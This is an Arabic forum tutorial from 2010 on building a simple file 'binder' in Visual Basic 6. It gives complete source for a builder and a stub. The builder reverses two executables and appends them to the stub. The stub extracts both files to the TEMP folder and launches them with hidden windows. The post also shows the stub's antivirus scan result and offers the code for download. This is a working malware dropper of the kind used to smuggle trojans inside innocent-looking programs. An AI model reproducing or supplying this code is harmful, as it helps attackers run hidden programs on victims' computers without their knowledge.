كيف حآلكم إخوآني الكرآم أعضآء شبكة العنآكب الإحترآفية بخير إن شآء الله 
اليوم رجعت و أردت أن أضع لكم شرح لطريقة عمل برنآمج دمج بسيط بالفجوآل بسيك المتطلبآت طبعآ : فجوآل بسيك 6 [من الأفضل النسخة الكآملة] عملت لكم شرح مصور + فيديوا أولآ تحميل الفيديوا 
و الأن الشرح بالصور نبدأ نتصميم وآجهة للبرنآمج 
لآ تنسو إضآفة أدآة common Dialog 
و الأن مع أوآد البرنآمج في أزرآر الإستعرآض كود:
كود:
Text1.Text = Getpath
Text2.Text = Getpath و في زر الدمج كود:
Dim sFile1 As String
Dim sFile2 As String
Dim sServer As String
Dim sStub As String
Dim sKey As String
Dim sBinary As String
sStub = ReadFile(App.Path & "\stub.exe")
sFile1 = ReadFile(TxtFile1.Text)
sFile2 = ReadFile(TxtFile2.Text)
sServer = SetPath()
sKey = "\\\\\\\\\\\\\\\\\\"
sBinary = _
sStub & _
sKey & _
StrReverse(sFile1) & _
sKey & _
StrReverse(sFile2) & _
sKey
WriteFile sServer, sBinary
MsgBox Split(sServer, "\")(UBound(Split(sServer, "\"))) & " wurde erstellt!", vbInformation, "Fertig" كمآ موضح في الصورة 
و الأن نضيف موديل 
أكوآد الموديل كود:
Function ReadFile(sPath As String) As String
Open sPath For Binary As #1
ReadFile = Space(LOF(1))
Get #1, , ReadFile
Close #1
End Function
Function WriteFile(sPath As String, sText As String)
Open sPath For Binary As #1
Put #1, , sText
Close #1
End Function
Function GetPath() As String
With Form1.CommonDialog1
.ShowOpen
If Not .FileName = "" Then GetPath = .FileName
End With
End Function
Function SetPath() As String
With Form1.CommonDialog1
.Filter = "Executables (*.exe)|*.exe"
.ShowSave
If Not .FileName = "" Then SetPath = .FileName
End With
End Function و الأن إنتهينآ من البرنآمج نعمل تكوين 
ثآنيآ نروح إلى الستآب Stub نفتح مشروع جديد و نحذف الفورم 
نضيف موديل جديد 
ثم نضع أكوآد الستآب كود:
Public Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Sub Main()
Dim sServer As String
Dim sKey As String
Dim sFile1 As String
Dim sFile2 As String
Dim sBinary As String
sKey = "\\\\\\\\\\\\\\\\\\"
sServer = App.Path & "\" & App.EXEName & ".exe"
sBinary = ReadFile(sServer)
sFile1 = Split(sBinary, sKey)(1)
sFile2 = Split(sBinary, sKey)(2)
WriteFile Environ$("TEMP") & "\File1.exe", StrReverse(sFile1)
WriteFile Environ$("TEMP") & "\File2.exe", StrReverse(sFile2)
WinExec Environ$("TEMP") & "\File1.exe", 0
WinExec Environ$("TEMP") & "\File2.exe", 0
End Sub
Function ReadFile(sPath As String) As String
Open sPath For Binary As #1
ReadFile = Space(LOF(1))
Get #1, , ReadFile
Close #1
End Function
Function WriteFile(sPath As String, sText As String)
Open sPath For Binary As #1
Put #1, , sText
Close #1
End Function 
و في الأخير نكون الستآب 
نتيجة فحص الستآب 
تحميل أكوآد البرنآمج + الموديل المطلوب + الصور + سورس كود للبرنآمج جآهز 
أي إستفسآرآت أنآ في الخدمة بالتوفيق للجميع 
Favp ulg fvkNl[ ]l[ fsd' fhgt[,Ng fsd;6D Simlpe Binder In Visual Basic 6
06-17-2010, 10:12 AM
[شرح عمل برنآمج دمج بسيط بالفجوآل بسيك6] Simlpe Binder In Visual Basic 6 
المواضيع المتشابهه 
العرض العادي
